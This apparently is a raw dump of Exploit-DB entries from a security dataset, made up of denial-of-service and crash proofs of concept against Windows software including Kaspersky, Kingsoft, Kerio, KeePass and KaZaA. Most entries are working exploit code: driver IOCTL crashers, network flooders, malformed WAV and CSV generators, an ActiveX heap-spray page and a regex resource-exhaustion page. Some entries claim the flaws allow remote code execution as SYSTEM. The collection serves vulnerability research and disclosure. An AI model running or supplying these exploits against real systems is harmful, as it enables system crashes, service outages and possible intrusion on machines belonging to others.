deardaniel/secdata-raw huggingface dataset:
Exploit-DB #38288
Description: Kaspersky AntiVirus - Yoda's Protector Unpacking Memory Corruption
Type: dos
Platform: windows
Date: 2015-09-22
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=528

The attached testcase was found by fuzzing packed PE files, I suspect it was packed using "Yoda's protector". This vulnerability is obviously exploitable for remote code execution as NT AUTHORITY\SYSTEM on all systems using Kaspersky Antivirus.

(bb8.ff0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=b5118b71 ebx=0000f8f0 ecx=0515f124 edx=b5118b71 esi=0bfe0e38 edi=0bfe005c
eip=71db9229 esp=0515f0f0 ebp=0515f0f4 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
kavbase_kdl!KLAV_Engine_Create+0x78227:
71db9229 8b4230          mov     eax,dword ptr [edx+30h] ds:002b:b5118ba1=????????

What does it do with that value once it's loaded?

0:029> u
kavbase_kdl!KLAV_Engine_Create+0x78227:
71db9229 8b4230          mov     eax,dword ptr [edx+30h] <-- dereference bad pointer
71db922c 57              push    edi
71db922d 8b38            mov     edi,dword ptr [eax] <-- dereference again
71db922f 51              push    ecx
71db9230 8b0a            mov     ecx,dword ptr [edx]
71db9232 8b5730          mov     edx,dword ptr [edi+30h] <-- dererence again
71db9235 56              push    esi
71db9236 51              push    ecx
0:029> u
kavbase_kdl!KLAV_Engine_Create+0x78235:
71db9237 50              push    eax
71db9238 ffd2            call    edx     <-- attacker gets control of execution and parameters
71db923a 83c410          add     esp,10h
71db923d 5f              pop     edi
71db923e 5e              pop     esi
71db923f 5d              pop     ebp
71db9240 c3              ret

Where does that pointer come from?

3C 03 6C 9E 8C 7D A5 C5 F9 22 6E F9 71 8B 11 B5        <--- *
B0 4D 5B 5C A8 19 09 FE 36 1A B6 92 3A 92 96 78
95 BD 55 64 76 C5 87 7C 00 C4 C7 36 6E 24 87 9F
5F 12 AB 96 75 ED 11 CC D1 B1 0C 4C B8 88 9A 5D
07 A5 C0 C7 5E 19 04 44 FC 4C 0F 69 20 2E 70 7A

Directly from the input file, so this is obviously exploitable for remote code execution as NT AUTHORITY\SYSTEM.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38288.zip
Exploit-DB #10164
Description: Kaspersky AV 2010 9.0.0.463 - Local Denial of Service
Type: dos
Platform: windows
Date: 2009-09-29
Author: Heurs

Exploit:
#include <stdio.h>
#include <windows.h>
#include <winioctl.h>
#include <stdlib.h>
#include <string.h>

/*
Program : Kaspersky Anti-Virus 2010 9.0.0.463
Homepage : http://www.kaspersky.com
Discovery : 2009/09/29
Author Contacted : 2009/10/01
Found by : Heurs
This Advisory : Heurs
Contact : s.leberre@sysdream.com


//----- Application description


The most trusted virus and spyware protection - premium protection
against viruses, spyware, Trojans, worms, bots and more. Also includes
comprehensive phishing and identity theft defense and superfast performance.

//----- Description of vulnerability

kl1.sys driver don't check inputs address of an IOCTL. An exception can be
thrown if we modify one or two DWORDs.
With my test I can't do best exploitation than a BSOD.

//----- Credits

http://www.sysdream.com
http://ghostsinthestack.org

s.leberre at sysdream dot com
heurs at ghostsinthestack dot org

//----- Greetings

Trance

*/

int __cdecl main(int argc, char* argv[])
{
HANDLE hDevice = (HANDLE) 0xffffffff;
DWORD NombreByte;
DWORD Crashing[] = {
0x3ff8f44a, 0x9d4ad6c2, 0xd883673e, 0x0a06ac2a,
0x3d4552b1, 0x3b2f314e, 0xeb6dfc7e, 0xfcfdf961,
0xde0f4405, 0xaa76f8eb, 0x2dbc6ead, 0x534047f9,
0xb5ebadc5
};
BYTE Out[0x20];

printf("Local DoS - Kaspersky 2010 9.0.0.463\n\n");
hDevice = CreateFile("\\\\.\\kimul25",GENERIC_READ|GENERIC_WRITE,0,NULL,OPEN_EXISTING,0,NULL);

DeviceIoControl(hDevice,0x0022c008,Crashing,sizeof(Crashing),Out,sizeof(Out),&NombreByte,NULL);

printf("Sploit Send.\nhDevice = %x\n", hDevice);
CloseHandle(hDevice);
getch();
return 0;
}
Exploit-DB #39125
Description: Kaspersky Internet Security - Remote Denial of Service
Type: dos
Platform: windows
Date: 2014-03-20
Author: CXsecurity

Exploit:
source: https://www.securityfocus.com/bid/66343/info

Kaspersky Internet Security is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to exhaust available CPU and memory resources and make the affected application unresponsive, denying service to legitimate users.

Kaspersky Internet Security 14.0.0.4651 is vulnerable; other versions may also be affected. 

<HTML> <HEAD> <TITLE>RegExp Resource Exhaustion </TITLE> </HEAD> <BODY BGCOLOR="#FFFFFF"> <SCRIPT type="text/javascript"> var patt1=new RegExp("(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(. *(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(. *(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10 }(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10 }(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10 }(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10 }(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10 }(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10 }(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10 }(.*){10}(.*){10}(.*){10}(.*){10}.*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).* )+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).* )+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).* )+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).* )+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+)"); document.write(patt1.exec("peace")); </SCRIPT> </BODY> </HTML>
Exploit-DB #24580
Description: Kaspersky Internet Security 2013 - Denial of Service
Type: dos
Platform: windows
Date: 2013-03-05
Author: Marc Heuse

Exploit:
I usually do not write security advisories unless absolutely necessary.

This time I should, however I have neither the time, nor the desire to
do so.
But Kaspersky did not react, so ... quick and dirty:

Kaspersky Internet Security 2013 (and any other Kaspersky product which
includes the firewall funcionality) is susceptible to a remote system
freeze.
As of the 3rd March 2013, the bug is still unfixed.

If IPv6 connectivity to a victim is possible (which is always the case
on local networks), a fragmented packet with multiple but one large
extension header leads to a complete freeze of the operating system.
No log message or warning window is generated, nor is the system able to
perform any task.

To test:
  1. download the thc-ipv6 IPv6 protocol attack suite for Linux from
www.thc.org/thc-ipv6
  2. compile the tools with "make"
  3. run the following tool on the target:
  firewall6 <interface> <target> <port> 19
     where interface is the network interface (e.g. eth0)
           target is the IPv6 address of the victim (e.g. ff02::1)
           port is any tcp port, doesnt matter which (e.g. 80)
       and 19 is the test case number.
     The test case numbers 18, 19, 20 and 21 lead to a remote system freeze.

Solution: Remove the Kaspersky Anti-Virus NDIS 6 Filter from all network
interfaces or uninstall the Kaspersky software until a fix is provided.

The bug was reported to Kaspersky first on the 21st January 2013, then
reminded on the 14th Feburary 2013.
No feedback was given by Kaspersky, and the reminder contained a warning
that without feedback the bug would be disclosed on this day. So here we
are.

Greets,
Marc Heuse

--
Marc Heuse
www.mh-sec.de

PGP: FEDD 5B50 C087 F8DF 5CB9  876F 7FDD E533 BF4F 891A
Exploit-DB #26892
Description: Kate's Video Toolkit 7.0 - '.wav' Crash (PoC)
Type: dos
Platform: windows
Date: 2013-07-16
Author: ariarat

Exploit:
# Exploit Title: Kate's Video Toolkit Version 7.0 (.wav) - Crash POC
# Date: 14-07-2013
# Exploit Author: ariarat
# Vendor Homepage: http://fakewebcam.com/Free-Video-Toolkit.asp
# Software Link: http://download.cnet.com/Kate-s-Video-Toolkit/3000-2139_4-10628194.html
# Version: 7.0 (maybe all versions!)
# Tested on: [ Windows XP sp3]
#============================================================================================
# In the Mix section of application : In the left frame add any video file and in right frame
# add kateVideoToolkit.wav file and click Mix then select your path and click OK!
# 
#
#============================================================================================
# Contact :
#------------------
# Web Page : http://ariarat.blogspot.com
# Email    : mehdi.esmaeelpour@gmail.com
#============================================================================================

#!/usr/bin/python

junk=("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")


file = open("kateVideoToolkit.wav" , "w")
file.write(junk)
file.close()
Exploit-DB #21653
Description: KaZaA Media Desktop 1.7.1 - Large Message Denial of Service
Type: dos
Platform: windows
Date: 2002-07-25
Author: Josh & omega

Exploit:
// source: https://www.securityfocus.com/bid/5317/info

KaZaA may consume large amounts of CPU when processing a sequence of large messages. It is possible for an attacker to flood a vulnerable system with a large number of messages, resulting in a denial of service condition.

/*
   kazaa denial of service attack
   by Josh and omega
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <stdarg.h>

#define PORT 1214


int main(int argc, char *argv[])
{
   int fd, numbytes, randnum, k;
   struct hostent *host;
   struct sockaddr_in them;
   char buf2[4026];
   char buf[5000];
   char *bigboy;
   int i, size, j;


   memset(buf2, 'a', sizeof(buf2));
   buf2[sizeof(buf2)-1]='\0';
   srand(time(NULL));

   if (argc < 5)
   {
      fprintf(stderr,"usage: %s <hostname> <(this*4026) bytes per message> <username_of_target> <number_of_messages>\n", argv[0]);
      exit(1);
   }
   if ((host=gethostbyname(argv[1])) == NULL)
   {
      perror("gethostbyname");
      exit(1);
   }

   them.sin_family = AF_INET;
   them.sin_port = htons(PORT);
   them.sin_addr = *((struct in_addr *)host->h_addr);
   memset(&(them.sin_zero), '\0', 8);


   size=(4042*atoi(argv[2]))+280+1;
   bigboy=(char *)malloc(size);

   snprintf(bigboy, size, "GET /.message HTTP/1.1\nHost: 68.10.112.148:1214\nUserAgent: KazaaClient Jan 18 2002 18:53:21\nX-Kazaa-Username: 31337h4x0r\nX-Kazaa-Network: KaZaA\nX-Kazaa-IP: %d:1214\nX-Kazaa-SupernodeIP: %d:1214\nConnection:  open\nX-Kazaa-IMTo: %s@KaZaA\nX-Kazaa-IMType: user_text\n", randnum, randnum, argv[3]);

   /* the msg appears as one msg to the receiver, but comes in intervals of 4096 bytes... */
   snprintf(buf, sizeof(buf), "X-Kazaa-IMData: %s\n", buf2);
   for(k=0;k<atoi(argv[2]);k++)
   {
      strcat(bigboy, buf);
      k++;
   }
   strcat(bigboy, "\r\n\r\n\r\n\r\n\r\n");

   fprintf(stdout, "done preparing packet... sending\n");
   for(i=0, k=0;i<atoi(argv[4]);i++)
   {
     if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
     {
       perror("socket");
     }
     else
     {
       if (connect(fd, (struct sockaddr *)&them,sizeof(struct sockaddr)) == -1)
       {
         perror("connect");
       }
       else
       {
         printf("sending %d message\n", k);
         write(fd, bigboy, strlen(bigboy));
         k++;
         close(fd);
       }
     }
   }
   fprintf(stdout, "\n%d out of %d attempted got through\n", k, i);
   free(bigboy);
   return 0;
}
Exploit-DB #39216
Description: KeePass Password Safe Classic 1.29 - Crash (PoC)
Type: dos
Platform: windows
Date: 2016-01-11
Author: Mohammad Reza Espargham

Exploit:
# Title : KeePass Password Safe Classic 1.29 - Crash Proof Of Concept
# Affected Versions: All Version
# Founder : keepass.info
# Tested on Windows 7 / Server 2008
# Download Link : http://sourceforge.net/projects/keepass/files/KeePass%201.x/1.30/KeePass-1.30.zip
#
#
# Author      :   Mohammad Reza Espargham
# Linkedin    :   https://ir.linkedin.com/in/rezasp
# E-Mail      :   me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
# Website     :   www.reza.es
# Twitter     :   https://twitter.com/rezesp
# FaceBook    :   https://www.facebook.com/reza.espargham
#
#
# 1 . run python code : python crash.py
# 2 . open “KeePass”
# 3 . File —> New (Create New Password Database)
# 4 . File —> Import —> CSV File…
# 5 . open r3z4.csv
# 6 . Right Click on “R3Z4” username and edit
# 7 . Crashed ;)



#!/usr/bin/env python
hdr = '"' #start syntax
hcr = "R3Z4" #user
oth = ',"' #user
oth2 = '","",""' #user
val=','
crash = "\x41"*199289 #B0F
exp = hdr+hcr+hdr+val+hdr+hcr+hdr+oth+crash+oth2
file = open("r3z4.csv", "w")
file.write(exp)
file.close()
Exploit-DB #29039
Description: Kerio MailServer 5.x/6.x - Remote LDAP Denial of Service
Type: dos
Platform: windows
Date: 2006-11-15
Author: Evgeny Legerov

Exploit:
source: https://www.securityfocus.com/bid/21091/info

Kerio MailServer is prone to a denial-of-service vulnerability due to a flaw when handling malformed network traffic.

Successful exploits will result in denial-of-service conditions.

#!/usr/bin/env python
# kms1.py - Kerio MailServer 6.2.2 preauth remote DoS
# fixed in Kerio MailServer 6.3.1
#
# Copyright (c) 2006 Evgeny Legerov
#
# Permission to use, copy, modify, and distribute this software for any
# purpose with or without fee is hereby granted, provided that the above
# copyright notice and this permission notice appear in all copies.
#
# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.


"""
gdb backtrace:
# gdb -q ./mailserver core.18450
(no debugging symbols found)
Using host libthread_db library "/lib/libthread_db.so.1".
Reading symbols from shared object read from target memory...(no debugging
symbols found)...done.
Loaded system supplied DSO at 0xb76000
Core was generated by `/opt/kerio/mailserver/mailserver /opt/kerio/mailserver'.
Program terminated with signal 11, Segmentation fault.
...
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
#0  0x0821c444 in LDAPSearchRequest::parsePagedResults ()
(gdb) bt
#0  0x0821c444 in LDAPSearchRequest::parsePagedResults ()
#1  0x0821c387 in LDAPSearchRequest::setAll ()
#2  0x08093d8a in Ber::getSearchRequest ()
#3  0x08205e48 in LDAPServer::search ()
#4  0x08207de0 in LDAPServer::server ()
#5  0x08207e2e in ldap_handler ()
#6  0x0841be13 in KServerTask::handler ()
#7  0x082033c6 in KThreadPool::workerThread ()
#8  0x086ee7b6 in kerio::tiny::thread ()
#9  0x00772b80 in start_thread () from /lib/libpthread.so.0
#10 0x00558dee in clone () from /lib/libc.so.6
(gdb) x/i $eip
0x821c444 <_ZN17LDAPSearchRequest17parsePagedResultsE13LDAPExtension+12>:      
mov    (%eax),%edx
(gdb) i r eax
eax            0x449    1097
"""

from socket import *

host = "localhost"
port = 389

s =  "\x30\x82\x04\x4d\x02\x01\x26\x63\x82\x04\x46\x04\x00\x0a\x01\x02"
s += "\x0a\x01\x00\x02\x01\x00\x02\x01\x00\x01\x01\x00\x87\x0b\x6f\x62"
s += "\x6a\x65\x63\x74\x43\x6c\x61\x73\x73\x30\x02\x04\x00\xa0\x82\x04"
s += "\x20\x30\x82\x04\x1c"
s += "\x01"*1024
s += "\x16\x31\x2e\x32\x2e\x38\x34\x30\x2e\x31\x31"
s += "\x33\x35\x35\x36\x2e\x31\x2e\x34\x2e\x34\x37\x33\x01\x01\x00\x04"
s += "\x00"

sock = socket(AF_INET, SOCK_STREAM)
sock.connect((host,port))
sock.sendall(s)
sock.recv(10000)
sock.close()
Exploit-DB #22417
Description: Kerio Personal Firewall 2.1.x - Remote Authentication Packet Buffer Overflow (1)
Type: dos
Platform: windows
Date: 2003-04-28
Author: Core Security

Exploit:
source: https://www.securityfocus.com/bid/7180/info

A buffer-overflow vulnerability has been discovered in Kerio Personal Firewall. The problem occurs during the administration authentication process. An attacker could exploit this vulnerability by forging a malicious packet containing an excessive data size. The application then reads this data into a static memory buffer without first performing sufficient bounds checking. 

Successful exploits of this vulnerability may allow an attacker to execute arbitrary commands on a target system, with the privileges of the firewall. 

Note that this vulnerability affects Kerio Personal Firewall 2.1.4 and earlier.

import os
import socket
import struct
import string

def g():
     fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
     try:
         fd.connect(('192.168.66.160', 44334))
         fd.recv(10)
         fd.recv(256)
         fd.send(struct.pack('!L', 0x149c))
         astr = 'A'*0x149c
         fd.send(astr)

     except Exception, e:
         print e
         pass

     fd.close()

g()
Exploit-DB #23925
Description: Kerio Personal Firewall 4.0.x - Web Filtering Remote Denial of Service
Type: dos
Platform: windows
Date: 2004-04-07
Author: E.Kellinis

Exploit:
source: https://www.securityfocus.com/bid/10075/info

Kerio Personal Firewall includes Web URI Filtering functionality. A denial of service vulnerability has been reported to affect Kerio Personal Firewall when Web Filtering functionality is enabled. The issue presents itself when Web Filtering procedures handle a URI that contains certain characters.

http://www.example.com/search?hl=en&ie=UTF-8&oe=UTF-8&q=^S^R^S
Exploit-DB #5225
Description: KingSoft - 'UpdateOcx2.dll SetUninstallName()' Heap Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-03-10
Author: void

Exploit:
<!--
KingSoft UpdateOcx2.dll SetUninstallName() Heap Overflow Exploit

Date: 2008-02-29
MSN: void[at]ph4nt0m[dot]org
http://www.ph4nt0m.org

æ–‡ä»¶è·¯å¾„: C:\WINDOWS\system32\KingSoft\KOS\UpdateOcx2.dll
æ–‡ä»¶æè¿°: Kingsoft Antivirus Online Update Module
æ–‡ä»¶ç‰ˆæœ¬: 2007,12,29,29
-->

<object classid='clsid:D82303B7-A754-4DCB-8AFC-8CF99435AACE' id='target1'></object>
<object classid='clsid:D82303B7-A754-4DCB-8AFC-8CF99435AACE' id='target2'></object>
<script>
var str1 = "";
while (str1.length < 914)
{ str1 += unescape("%u0c0c");
}
target1.SetUninstallName(str1);
</script>

<!--
.text:1000737B ; DWORD __stdcall SetUninstallName(LPVOID this_ptr, LPVOID bsUninstallName)
.text:1000737B SetUninstallName proc near              ; DATA XREF: .rdata:1003186C o
.text:1000737B                                         ; .rdata:10031A64 o
.text:1000737B
.text:1000737B this_ptr        = dword ptr 4
.text:1000737B bsUninstallName = dword ptr 8
.text:1000737B
.text:1000737B                 mov     eax, [esp+this_ptr]
.text:1000737F                 push    [esp+bsUninstallName]
.text:10007383                 add     eax, 20h
.text:10007386                 mov     ecx, [eax]
.text:10007388                 push    eax
.text:10007389                 call    dword ptr [ecx+20h] ; æ­¤å¤„è·Ÿè¿› 10012278
.text:1000738C                 xor     eax, eax
.text:1000738E                 retn    8
.text:1000738E SetUninstallName endp


.text:10012278 ; =============== S U B R O U T I N E =======================================
.text:10012278
.text:10012278
.text:10012278 ; int __stdcall Vul_Func(int, wchar_t *Source)
.text:10012278 Vul_Func        proc near               ; DATA XREF: .rdata:10032D3C o
.text:10012278
.text:10012278 arg_0           = dword ptr 4
.text:10012278 Source          = dword ptr 8
.text:10012278
.text:10012278                 cmp     [esp+Source], 0
.text:1001227D                 jz      short loc_10012294
.text:1001227F                 mov     eax, [esp+arg_0]
.text:10012283                 push    [esp+Source]    ; Source
.text:10012287                 add     eax, 0D70h
.text:1001228C                 push    eax             ; Dest
.text:1001228D                 call    _wcscpy         ; æ²¡æœ‰æ£€æŸ¥ç”¨æˆ·è¾“å…¥çš„é•¿åº¦å°±,é€ æˆheap overlfow
.text:10012292                 pop     ecx
.text:10012293                 pop     ecx
.text:10012294
.text:10012294 loc_10012294:                           ; CODE XREF: Vul_Func+5 j
.text:10012294                 xor     eax, eax
.text:10012296                 retn    8
.text:10012296 Vul_Func        endp
.text:10012296
-->

# milw0rm.com [2008-03-10]
Exploit-DB #14987
Description: Kingsoft AntiVirus 2010.04.26.648 - Kernel Buffer Overflow
Type: dos
Platform: windows
Date: 2010-09-13
Author: Lufeng Li

Exploit:
#!/usr/bin/python

#################################################################
#
# Title: Kingsoft Antivirus Kernel Buffer Overflow Exploit
# Author: Lufeng Li of Neusoft Corporation
# Vendor: www.duba.net
# Platform: Windows XPSP3 Chinese Simplified
# Tested: Kingsoft Antivirus v2010.04.26.648
# Vulnerable: Kingsoft Antivirus <=v2010.04.26.648
# Vulnerable App: http://down10b.zol.com.cn/shadu/KAV100625_DOWN_10_166.zip?key=314e0cb9ea82720d90caae96bb918009
#################################################################
# Code :
from ctypes import *

kernel32 = windll.kernel32
Psapi    = windll.Psapi

if __name__ == '__main__':
    GENERIC_READ  = 0x80000000
    GENERIC_WRITE = 0x40000000
    OPEN_EXISTING = 0x3
    CREATE_ALWAYS = 0x2

    DEVICE_NAME   = "\\\\.\\kavfm"
    dwReturn      = c_ulong()
    out_size      = 1024
    in_size       = 1024
    in_data       = ''
    driver_handle1 = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE,
						0, None, CREATE_ALWAYS, 0, None)
    in_data=1024*'\x80'
    dev_ioctl = kernel32.DeviceIoControl(driver_handle1, 0x80030004, in_data,500, 0, 0,byref(dwReturn), None)